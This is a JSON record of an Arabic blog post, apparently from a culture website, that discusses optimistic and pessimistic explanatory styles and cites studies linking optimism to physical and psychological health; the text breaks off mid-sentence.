{"id":20515,"date":"2020-07-29T04:18:27","date_gmt":"2020-07-29T04:18:27","guid":{"rendered":"http:\/\/www.worldofculture2020.com\/?p=20515"},"modified":"2020-07-29T04:18:27","modified_gmt":"2020-07-29T04:18:27","slug":"%d8%a7%d9%84%d8%aa%d9%81%d8%a7%d8%a4%d9%84-%d8%a3%d8%b3%d9%84%d9%88%d8%a8-%d8%a7%d9%84%d8%aa%d9%81%d8%b3%d9%8a%d8%b1-%d8%a7%d9%84%d8%aa%d9%81%d8%a7%d8%a4%d9%84%d9%8a%d8%8c-%d9%88%d8%b9%d9%84%d8%a7","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=20515","title":{"rendered":"\u0627\u0644\u062a\u0641\u0627\u0624\u0644: \u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u064a\u060c \u0648\u0639\u0644\u0627\u0642\u0627\u062a\u0647 \u0628\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u062c\u0633\u0645\u064a\u0629 \u0648\u0627\u0644\u0646\u0641\u0633\u064a\u0629"},"content":{"rendered":"<h2 style=\"text-align: justify;\"><span style=\"font-size: 16px;\">\u0623.\u062f. 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\u062d\u0635\u0644\u0627 \u0639\u0644\u0649 \u062f\u0631\u062c\u0629 \u0645\u0646\u062e\u0641\u0636\u0629 \u0641\u064a \u0623\u062d\u062f \u0627\u0644\u0627\u062e\u062a\u0628\u0627\u0631\u0627\u062a\u060c \u0648\u0627\u0639\u062a\u0642\u062f \u0627\u0644\u0623\u0648\u0644 \u0623\u0646\u0647 \u0641\u0627\u0634\u0644 \u0648\u0644\u0627 \u064a\u062a\u0648\u0642\u0641 \u0639\u0646 \u0644\u0648\u0645 \u0630\u0627\u062a\u0647 \u0648\u062a\u0623\u0646\u064a\u0628\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u062f\u0648\u0627\u0645 \u0628\u0642\u0648\u0644\u0647 &#8220;\u0623\u0646\u0627 \u0634\u062e\u0635 \u0641\u0627\u0634\u0644\u061f!&#8221; \u0623\u0646\u0627 \u062f\u0627\u0626\u0645\u064b\u0627 \u0647\u0643\u0630\u0627 \u0644\u0627 \u0631\u062c\u0627\u0621 \u0641\u064a \u0648\u0623\u062f\u0627\u0626\u064a \u0645\u0646\u062e\u0641\u0636 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u0648\u0636\u0648\u0639\u061f! \u0644\u0646 \u0623\u0633\u062a\u0637\u064a\u0639 \u0623\u062f\u0627\u0621 \u0623\u064a \u0634\u064a\u0621 \u0628\u0635\u0648\u0631\u0629 \u0635\u062d\u064a\u062d\u0629\u061f!!\u060c \u0628\u064a\u0646\u0645\u0627 \u064a\u0639\u062a\u0642\u062f \u0627\u0644\u0637\u0627\u0644\u0628 \u0627\u0644\u062b\u0627\u0646\u064a \u0623\u0646 \u0627\u0644\u0627\u062e\u062a\u0628\u0627\u0631 \u0643\u0627\u0646 \u0635\u0639\u0628\u064b\u0627\u060c \u0648\u064a\u0642\u0648\u0644 \u0644\u0646\u0641\u0633\u0647: \u0625\u0646\u0647 \u0645\u062c\u0631\u062f \u0627\u062e\u062a\u0628\u0627\u0631 \u0648\u0627\u062d\u062f \u0645\u0646 \u0628\u064a\u0646 \u0627\u062e\u062a\u0628\u0627\u0631\u0627\u062a \u0643\u062b\u064a\u0631\u0629\u060c \u0623\u062f\u0627\u0626\u064a \u0641\u064a \u0627\u0644\u0645\u0648\u0636\u0648\u0639\u0627\u062a \u0627\u0644\u0623\u062e\u0631\u0649 \u062c\u064a\u062f&#8221;.<\/p>\n<p style=\"text-align: justify;\"><strong>\u064a\u0638\u0647\u0631<\/strong> \u0647\u0630\u064a\u0646 \u0627\u0644\u0637\u0627\u0644\u0628\u064a\u0646 \u0623\u0633\u0644\u0648\u0628\u064a\u0646 \u0645\u062e\u062a\u0644\u0641\u064a\u0646 \u0645\u0646 \u0623\u0633\u0627\u0644\u064a\u0628 \u0627\u0644\u062a\u0641\u0633\u064a\u0631 explanatory styles\u060c \u0648\u064a\u0639\u0643\u0633 \u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0641\u0633\u064a\u0631 \u062b\u0644\u0627\u062b \u062e\u0635\u0627\u0626\u0635 \u0623\u0633\u0627\u0633\u064a\u0629 \u064a\u0643\u0648\u0646\u0647\u0627 \u0627\u0644\u0634\u062e\u0635 \u0639\u0646\u062f \u062d\u062f\u062b \u062d\u0627\u0644: \u0647\u0644 \u0647\u0630\u0627 \u0627\u0644\u062d\u062f\u062b \u0648\u0642\u0639 \u0628\u0633\u0628\u0628\u064a (\u062f\u0627\u062e\u0644\u064a internal)\u060c \u0623\u0648 \u0648\u0642\u0639 \u0647\u0630\u0627 \u0627\u0644\u062d\u062f\u062b \u0628\u0633\u0628\u0628 \u0634\u062e\u0635 \u0623\u0648 \u0634\u064a\u0621 \u0622\u062e\u0631 (external)\u061f \u0647\u0644 \u0633\u064a\u0642\u0639 \u0647\u0630\u0627 \u0627\u0644\u062d\u062f\u062b \u0644\u064a \u062f\u0627\u0626\u0645\u064b\u0627 (\u062b\u0627\u0628\u062a stable) \u0623\u0648 \u0647\u0644 \u0623\u0633\u062a\u0637\u064a\u0639 \u062a\u063a\u064a\u064a\u0631 \u0645\u0627 \u0633\u0628\u0628 \u0647\u0630\u0627 \u0627\u0644\u062d\u062f\u062b (\u063a\u064a\u0631 \u062b\u0627\u0628\u062aunstable)\u061f \u0647\u0644 \u0647\u0630\u0627 \u0627\u0644\u062d\u062f\u062b \u064a\u0624\u062b\u0631 \u0639\u0644\u0649 \u0643\u0644 \u062c\u0648\u0627\u0646\u0628 \u062d\u064a\u0627\u062a\u064a (\u0639\u0627\u0645 \u0648\u0634\u0627\u0626\u0639 pervasive)\u060c \u0623\u0648 \u064a\u0642\u062a\u0635\u0631 \u062a\u0623\u062b\u064a\u0631\u0647 \u0639\u0644\u0649 \u062c\u0627\u0646\u0628 \u0648\u0627\u062d\u062f (\u0645\u062d\u062f\u0648\u062flimited).<\/p>\n<p style=\"text-align: justify;\"><strong>\u064a\u0645\u064a\u0644<\/strong> \u0627\u0644\u0645\u062a\u0634\u0627\u0626\u0645\u0648\u0646 \u0625\u0644\u0649 \u0625\u062f\u0631\u0627\u0643 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0639\u0644\u0649 \u0623\u0646\u0647\u0627: \u062f\u0627\u062e\u0644\u064a\u0629\u060c \u062b\u0627\u0628\u062a\u0629\u060c \u0648\u0639\u0627\u0645\u0629\u060c \u0628\u064a\u0646\u0645\u0627 \u064a\u0645\u064a\u0644 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u0648\u0646 \u0625\u0644\u0649 \u0627\u0644\u0627\u0639\u062a\u0642\u0627\u062f \u0641\u064a \u0639\u0643\u0633 \u0630\u0644\u0643 \u0628\u0645\u0639\u0646\u0649 \u064a\u062a\u0635\u0648\u0631\u0648\u0646 \u0623\u0646 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0623\u0648 \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0627\u0644\u0633\u064a\u0626\u0629 \u062e\u0627\u0631\u062c\u064a\u0629 \u0648\u0645\u0624\u0642\u062a\u0629 \u0648\u0645\u062d\u062f\u0648\u062f\u0629.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u062a\u0641\u064a\u062f<\/strong> \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0627\u062a \u0628\u062d\u062b\u064a\u0629 \u0645\u062a\u0639\u062f\u062f\u0629 \u0648\u062c\u0648\u062f \u0639\u0644\u0627\u0642\u0629 \u0628\u064a\u0646 \u0627\u0644\u062a\u0634\u0627\u0624\u0645 Pessimism \u0648\u0643\u0644 \u0645\u0646: \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628\u060c \u0627\u0644\u0642\u0644\u0642\u060c \u0648\u0627\u0644\u0636\u063a\u0648\u0637 (Kamen&amp; Seligman, 1987),\u060c \u0628\u064a\u0646\u0645\u0627 \u064a\u0639\u062f \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0639\u0627\u0645\u0644 \u0648\u0642\u0627\u064a\u0629 \u062c\u0648\u0647\u0631\u064a \u0636\u062f \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0645\u0646 \u0639\u062f\u062f \u0645\u0646 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0644\u0637\u0628\u064a\u0629 \u0627\u0644\u062e\u0637\u064a\u0631\u0629 \u0645\u062b\u0644 \u0623\u0645\u0631\u0627\u0636 \u0627\u0644\u0634\u0631\u064a\u0627\u0646 \u0627\u0644\u062a\u0627\u062c\u064a (Tindle, et al., 2009)\u060c \u0645\u0646 \u062c\u0627\u0646\u0628 \u0622\u062e\u0631 \u0643\u0634\u0641\u062a \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0629 \u0623\u0646 \u0627\u0644\u0623\u0645\u0647\u0627\u062a \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u0627\u062a \u062a\u0646\u062c\u0628\u0646 \u0623\u0637\u0641\u0627\u0644\u0627\u064b \u0623\u0635\u062d\u0627\u0621 \u0648\u0623\u062b\u0642\u0644 \u0648\u0632\u0646\u064b\u0627 (Lobel, DeVincent, Kaminer, &amp; Meyer, 2000).<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #0000ff;\">\u062b\u0627\u0644\u062b\u064b\u0627- \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0648\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u062c\u0633\u0645\u064a\u0629 Optimism and Physical Health:<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>\u0623\u0646<\/strong> \u064a\u0639\u064a\u0634 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u062d\u064a\u0627\u0629 \u0633\u0639\u064a\u062f\u0629 \u0642\u0648\u0627\u0645\u0647\u0627 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0648\u0627\u0644\u0627\u0633\u062a\u0628\u0634\u0627\u0631 \u062d\u062a\u0649 \u0648\u0625\u0646 \u0643\u0627\u0646\u062a \u0642\u0635\u064a\u0631\u0629 \u0623\u0641\u0636\u0644 \u0645\u0646 \u0623\u0646 \u064a\u0639\u064a\u0634 \u062d\u064a\u0627\u0629 \u062a\u0639\u064a\u0633\u0629 \u0645\u0641\u0639\u0645\u0629 \u0628\u0627\u0644\u062a\u0634\u0627\u0624\u0645 \u0648\u0627\u0644\u0627\u0633\u062a\u064a\u0627\u0621\u060c \u062d\u062a\u0649 \u0648\u0625\u0646 \u0643\u0627\u0646\u062a \u0637\u0648\u064a\u0644\u0629 \u0648\u0645\u0639 \u0630\u0644\u0643 \u0623\u0634\u0627\u0631\u062a \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0629(Maruta, Colligan, Malinchoc, &amp;Offord, 2000) \u0625\u0644\u0649 \u0648\u062c\u0648\u062f \u0639\u0644\u0627\u0642\u0629 \u0627\u0631\u062a\u0628\u0627\u0637\u064a\u0629 \u0645\u0648\u062c\u0628\u0629 \u0628\u064a\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0648\u0637\u0648\u0644 \u0627\u0644\u0639\u0645\u0631 life longevity \u0628\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0637\u064a\u0644 \u0639\u0645\u0631 \u0627\u0644\u0625\u0646\u0633\u0627\u0646.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0645\u0646<\/strong> \u062c\u0627\u0646\u0628 \u0622\u062e\u0631 \u062a\u0648\u0635\u0644\u062a \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0627\u062a (Carver et al., 1993; Schou, Ekeberg, &amp;Ruland, 2005) \u0625\u0644\u0649 \u0623\u0646\u0651 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0644\u0639\u0628 \u062f\u0648\u0631\u064b\u0627 \u0645\u0647\u0645\u064b\u0627 \u0641\u064a \u0627\u0644\u062a\u0639\u0627\u0641\u064a \u0645\u0646 \u0627\u0644\u0623\u0645\u0631\u0627\u0636 \u0648\u0627\u0644\u0639\u0644\u0644 \u0627\u0644\u062c\u0633\u0645\u064a\u0629\u060c \u062e\u0627\u0635\u0629 \u0627\u0644\u0623\u0645\u0631\u0627\u0636 \u0627\u0644\u062e\u0637\u064a\u0631\u0629 \u0648\u0627\u0644\u0645\u0647\u062f\u062f\u0629 \u0644\u0644\u062d\u064a\u0627\u0629 \u0645\u062b\u0644 \u0627\u0644\u0633\u0631\u0637\u0627\u0646.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u0641\u064a<\/strong>\u0646\u0641\u0633 \u0627\u0644\u0633\u064a\u0627\u0642 \u0628\u064a\u0646\u062a \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0629 (Schou, etal., 2005) \u0623\u0646 \u0627\u0631\u062a\u0641\u0627\u0639 \u0627\u0644\u0631\u0648\u062d \u0627\u0644\u0645\u0639\u0646\u0648\u064a\u0629 \u0648\u0631\u0648\u062d \u0627\u0644\u0645\u0648\u0627\u062c\u0647\u0629 \u0644\u062f\u0649 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u064a\u0646 \u0623\u0641\u0636\u0644 \u0645\u0646\u0628\u0626 \u0628\u062c\u0648\u062f\u0629 \u0627\u0644\u062d\u064a\u0627\u0629 \u0628\u0639\u062f \u0625\u062c\u0631\u0627\u0621 \u0639\u0645\u0644\u064a\u0627\u062a \u062c\u0631\u0627\u062d\u0629 \u0633\u0631\u0637\u0627\u0646 \u0627\u0644\u0635\u062f\u0631.\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0639\u062f \u0623\u062d\u062f \u0627\u0644\u0639\u0648\u0627\u0645\u0644 \u0627\u0644\u0645\u0646\u0628\u0626\u0629 \u0628\u0627\u0646\u062e\u0641\u0627\u0636 \u0627\u0644\u0636\u063a\u0648\u0637 \u0648\u0627\u0644\u0625\u0639\u064a\u0627\u0621 \u0648\u0627\u0644\u062a\u0639\u0628 \u0648\u0627\u062e\u062a\u0644\u0627\u0644 \u0627\u0644\u062d\u064a\u0627\u0629 \u0644\u062f\u0649 \u0627\u0644\u0646\u0633\u0627\u0621 \u0627\u0644\u0630\u064a\u0646 \u0645\u0631\u0648\u0627 \u0628\u0641\u062a\u0631\u0627\u062a \u0639\u0644\u0627\u062c\u064a\u0629 \u0645\u0624\u0644\u0645\u0629 \u0645\u0646 \u0633\u0631\u0637\u0627\u0646 \u0627\u0644\u0635\u062f\u0631 (Carver, Lehman, &amp;Antoni, 2003).<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u064a\u0628\u062f\u0648<\/strong> \u0623\u0646 \u0644\u0644\u062a\u0641\u0627\u0624\u0644 \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u062d\u0627\u0644\u0629 \u062f\u0648\u0631\u064b\u0627 \u0648\u0642\u0627\u0626\u064a\u064b\u0627 \u0636\u062f \u0631\u063a\u0628\u0629 \u0627\u0644\u0634\u062e\u0635 \u0641\u064a \u0627\u0644\u0627\u0646\u0633\u062d\u0627\u0628 \u0645\u0646 \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629\u060c \u0648\u0627\u0644\u062a\u064a \u0644\u0647\u0627 \u0641\u0627\u0639\u0644\u064a\u0629 \u0648\u0623\u0647\u0645\u064a\u0629 \u062e\u0627\u0635\u0629 \u0641\u064a \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u062a\u0639\u0627\u0641\u064a \u0648\u0627\u0644\u0634\u0641\u0627\u0621\u060c \u0643\u0645\u0627 \u0623\u0646 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u064a\u0646 \u0623\u0643\u062b\u0631 \u0627\u0646\u0641\u062a\u0627\u062d\u064b\u0627 \u0639\u0642\u0644\u064a\u064b\u0627 \u0648\u0623\u0643\u062b\u0631 \u062a\u0642\u0628\u0644\u0627\u064b \u0648\u0644\u062f\u064a\u0647\u0645 \u0632\u064a\u0627\u062f\u0629 \u0641\u064a \u062c\u0648\u062f\u0629 \u0627\u0644\u0646\u0648\u0645(Howell. etal., 2008).<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u064a\u0648\u062c\u062f<\/strong> \u0634\u0648\u0627\u0647\u062f \u0623\u064a\u0636\u064b\u0627 \u062a\u062f\u0644 \u0639\u0644\u0649 \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0642\u064a \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0645\u0646 \u0627\u0644\u0623\u0645\u0631\u0627\u0636 \u0627\u0644\u0645\u0632\u0645\u0646\u0629\u060c \u0641\u0641\u064a \u0639\u064a\u0646\u0629 \u0645\u0646 \u0627\u0644\u0646\u0633\u0627\u0621 \u0645\u0646 \u0645\u0646\u062a\u0635\u0641 \u0627\u0644\u0639\u0645\u0631 \u062a\u0645 \u062a\u0639\u0631\u064a\u0636\u0647\u0645 \u0644\u0641\u062d\u0648\u0635\u0627\u062a \u0644\u062a\u0642\u064a\u064a\u0645 \u062a\u0635\u0644\u0628 \u0627\u0644\u0634\u0631\u0627\u064a\u064a\u0646 atherosclerosis \u0645\u0646 \u0646\u0642\u0637\u0629 \u0628\u062f\u0627\u064a\u0629 \u0623\u0648 \u0623\u0633\u0627\u0633 \u0645\u0639\u064a\u0646 \u062b\u0645 \u0628\u0639\u062f \u062b\u0644\u0627\u062b \u0633\u0646\u0648\u0627\u062a \u0641\u064a\u0645\u0627 \u0628\u0639\u062f\u060c \u0641\u0648\u062c\u062f \u0623\u0646 \u0627\u0644\u0646\u0633\u0627\u0621 \u0648\u0630\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0645\u0631\u062a\u0641\u0639\u0629 \u0645\u0646 \u0627\u0644\u062a\u0634\u0627\u0624\u0645 \u0644\u062f\u064a\u0647\u0645 \u0628\u0639\u0636 \u0639\u0644\u0627\u0645\u0627\u062a \u0627\u062d\u062a\u0645\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u0635\u0627\u0628\u0629 \u0628\u062a\u0635\u0644\u0628 \u0627\u0644\u0634\u0631\u0627\u064a\u064a\u0646 \u0645\u062b\u0644 \u0633\u0645\u0643 \u0627\u0644\u0634\u0631\u0627\u064a\u064a\u0646 \u0648\u0627\u0644\u0623\u0648\u0631\u062f\u0629\u060c \u0628\u064a\u0646\u0645\u0627 \u0644\u0645 \u062a\u062d\u062f\u062b \u0647\u0630\u0647 \u0627\u0644\u0632\u064a\u0627\u062f\u0629 \u0641\u064a \u0633\u0645\u0643 \u0627\u0644\u0623\u0648\u0631\u062f\u0629 \u0648\u0627\u0644\u0634\u0631\u0627\u064a\u064a\u0646 \u0644\u062f\u0649 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u0627\u062a (Matthews, Raikkonen, Sutton-Tyrell, &amp;Kuller, 2004).<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u064a\u0624\u062b\u0631<\/strong> \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0628\u0635\u0648\u0631\u0629 \u0648\u0627\u0636\u062d\u0629 \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0646\u0627\u0639\u0629 \u0644\u0644\u0634\u062e\u0635 \u0623\u064a\u0636\u064b\u0627\u060c \u0641\u0641\u064a \u062f\u0631\u0627\u0633\u0629 \u062a\u0645 \u062a\u0637\u0639\u064a\u0645 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0646 \u0627\u0644\u0645\u0633\u0646\u064a\u0646 \u0636\u062f \u0627\u0644\u0625\u0646\u0641\u0644\u0648\u0646\u0632\u0627\u060c \u0648\u0628\u0639\u062f \u0623\u0633\u0628\u0648\u0639\u064a\u0646 \u062a\u0645 \u0642\u064a\u0627\u0633 \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0627\u0644\u0645\u0646\u0627\u0639\u064a\u0629 \u0644\u0644\u062a\u0637\u0639\u064a\u0645\u060c \u0641\u0648\u062c\u062f \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0623\u062d\u062f \u0627\u0644\u0639\u0648\u0627\u0645\u0644 \u0627\u0644\u062a\u064a \u062a\u0645 \u0628\u0645\u0648\u062c\u0628\u0647\u0627 \u0627\u0644\u062a\u0646\u0628\u0624 \u0628\u0625\u0646\u062a\u0627\u062c \u0623\u062c\u0633\u0627\u0645 \u0645\u0636\u0627\u062f\u0629 \u0623\u0643\u062b\u0631 \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u062a\u062d\u0642\u0642 \u0646\u0648\u0627\u062a\u062c \u0645\u0646\u0627\u0639\u064a\u0629 \u0623\u0641\u0636\u0644 (Kohut, Cooper, Nickolaus, Russell, &amp;Cunnick, 2002)..<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u0639\u0644\u064a\u0647<\/strong> \u0630\u0644\u0643\u060c \u062a\u0641\u064a\u062f \u0646\u062a\u0627\u0626\u062c \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0627\u0644\u0633\u0628\u0627\u0642\u0629 \u0623\u0646 \u0644\u0644\u062a\u0641\u0627\u0624\u0644 \u062a\u0623\u062b\u064a\u0631\u0627\u062a \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0639\u0644\u0649 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u062c\u0633\u0645\u064a\u0629 \u0644\u0644\u0634\u062e\u0635\u060c \u0648\u064a\u062a\u0631\u062a\u0628 \u0639\u0644\u064a\u0647 \u0646\u0648\u0627\u062a\u062c \u0635\u062d\u064a\u0629 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u062a\u0639\u0632\u0632 \u0628\u0635\u0648\u0631\u0629 \u0639\u0627\u0645\u0629 \u0645\u0646 \u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0646\u0627\u0639\u0629 \u0627\u0644\u062c\u0633\u0645\u064a\u0629 \u0644\u0644\u0625\u0646\u0633\u0627\u0646\u060c \u0648\u062a\u0642\u064a\u0647 \u0641\u064a \u0646\u0641\u0633 \u0627\u0644\u0648\u0642\u062a \u0645\u0646 \u0627\u0644\u0633\u0644\u0648\u0643\u064a\u0627\u062a \u0627\u0644\u062e\u0637\u064a\u0631\u0629\u060c \u0648\u062a\u062d\u0648\u0644 \u062f\u0648\u0646 \u0625\u0635\u0627\u0628\u062a\u0647 \u0628\u0627\u0644\u0623\u0645\u0631\u0627\u0636 \u0627\u0644\u0645\u0632\u0645\u0646\u0629\u060c \u0648\u062a\u0633\u0627\u0639\u062f \u0627\u0644\u0646\u0627\u0633 \u0641\u064a \u0627\u0644\u062a\u0648\u0627\u0641\u0642 \u0645\u0639 \u0627\u0644\u0623\u062e\u0628\u0627\u0631 \u0627\u0644\u0645\u0632\u0639\u062c\u0629\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u0627\u0631\u062a\u0628\u0627\u0637 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0628\u0627\u0644\u062a\u0646\u0628\u0624 \u0628\u0637\u0648\u0644 \u0627\u0644\u0639\u0645\u0644.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #0000ff;\">\u0631\u0627\u0628\u0639\u064b\u0627-\u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0648\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 Optimism and Psychological Health:<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>\u062a\u0641\u064a\u062f<\/strong> \u0634\u0648\u0627\u0647\u062f \u0639\u0644\u0645\u064a\u0629 \u0639\u062f\u064a\u062f\u0629 \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0639\u0627\u0645\u0644 \u0645\u0631\u0643\u0632\u064a \u0641\u064a \u062a\u0645\u0643\u064a\u0646 \u0627\u0644\u0634\u062e\u0635 \u0645\u0646 \u0627\u0644\u062a\u0648\u0627\u0641\u0642 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0648\u0627\u0644\u0645\u0648\u0627\u062c\u0647\u0629 \u0627\u0644\u0641\u0639\u0627\u0644\u0629 \u0644\u0623\u062d\u062f\u0627\u062b \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0636\u0627\u063a\u0637\u0629 \u0648\u0638\u0631\u0648\u0641\u0647\u0627 \u0627\u0644\u0639\u0635\u064a\u0628\u0629 \u0648\u0646\u0643\u0628\u0627\u062a\u0647\u0627 \u0648\u0634\u062f\u0627\u0626\u062f\u0647\u0627 \u0627\u0644\u0645\u062a\u0646\u0648\u0639\u0629\u060c \u0625\u0630 \u064a\u0631\u062a\u0628\u0637 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0628\u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0627\u062a \u0627\u0644\u0645\u0646\u0627\u0633\u0628\u0629 \u0644\u0645\u062e\u062a\u0644\u0641 \u0627\u0644\u0645\u0635\u0627\u0639\u0628 \u0645\u0646 \u0623\u0628\u0633\u0637\u0647\u0627 \u0625\u0644\u0649 \u0623\u0643\u062b\u0631\u0647\u0627 \u0634\u062f\u0629(Zeidner&amp; Hammer, 1992)<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u064a\u0628\u062f\u0648<\/strong> \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0644\u0639\u0628 \u062f\u0648\u0631\u064b\u0627 \u0648\u0642\u0627\u0626\u064a\u064b\u0627 \u0628\u0645\u0633\u0627\u0639\u062f\u0629 \u0627\u0644\u0646\u0627\u0633 \u0641\u064a \u0627\u0644\u062a\u0648\u0627\u0641\u0642 \u0645\u0639 \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u063a\u064a\u0631 \u0627\u0644\u0627\u0639\u062a\u064a\u0627\u062f\u064a\u0629\u060c \u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0631\u062a\u0628\u0637 \u0628\u0635\u0648\u0631\u0629 \u0645\u0648\u062c\u064a\u0629 \u0628\u0627\u0644\u0631\u0636\u0627 \u0639\u0646 \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u062a\u0642\u062f\u064a\u0631 \u0627\u0644\u0630\u0627\u062a (Lucas, Diener, &amp;Suh, 1996).<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u0641\u064a<\/strong> \u0646\u0641\u0633 \u0627\u0644\u0633\u064a\u0627\u0642 \u0627\u0633\u062a\u0647\u062f\u0641\u062a (Segerstrom&amp;Sephton, 2010)\u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u0627\u0644\u062a\u0646\u0628\u0624 \u0639\u0628\u0631 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0628\u0627\u0644\u0648\u062c\u062f\u0627\u0646 \u0627\u0644\u0645\u0648\u062c\u0628Positive affect \u0623\u0645 \u0644\u0627\u060c \u0648\u0627\u0646\u0637\u0644\u0642\u062a \u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0645\u0646 \u0627\u0641\u062a\u0631\u0627\u0636 \u0639\u0627\u0645 \u0645\u0641\u0627\u062f\u0647 \u0623\u0646 \u0627\u0644\u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0645\u0643\u0646 \u0628\u0645\u0648\u062c\u0628\u0647\u0627 \u0627\u0644\u062a\u0646\u0628\u0624 \u0628\u0627\u0644\u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u0648\u062c\u062f\u0627\u0646 \u0627\u0644\u0645\u0648\u062c\u0628\u060c \u062d\u064a\u062b \u0627\u0641\u062a\u0631\u0636 \u0623\u0646 \u0627\u0644\u0632\u064a\u0627\u062f\u0629 \u0641\u064a \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u062a\u0631\u062a\u0628\u0637 \u0628\u0627\u0644\u0632\u064a\u0627\u062f\u0629 \u0641\u064a \u0627\u0644\u0648\u062c\u062f\u0627\u0646 \u0627\u0644\u0645\u0648\u062c\u0628 \u0648\u0627\u0644\u0639\u0643\u0633\u060c \u0648\u0627\u0644\u0645\u062b\u064a\u0631 \u0644\u0644\u062f\u0647\u0634\u0629 \u0641\u064a \u0646\u062a\u0627\u0626\u062c \u0647\u0630\u0647 \u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0623\u0646 \u0627\u0644\u062a\u063a\u064a\u0631\u0627\u062a \u0641\u064a 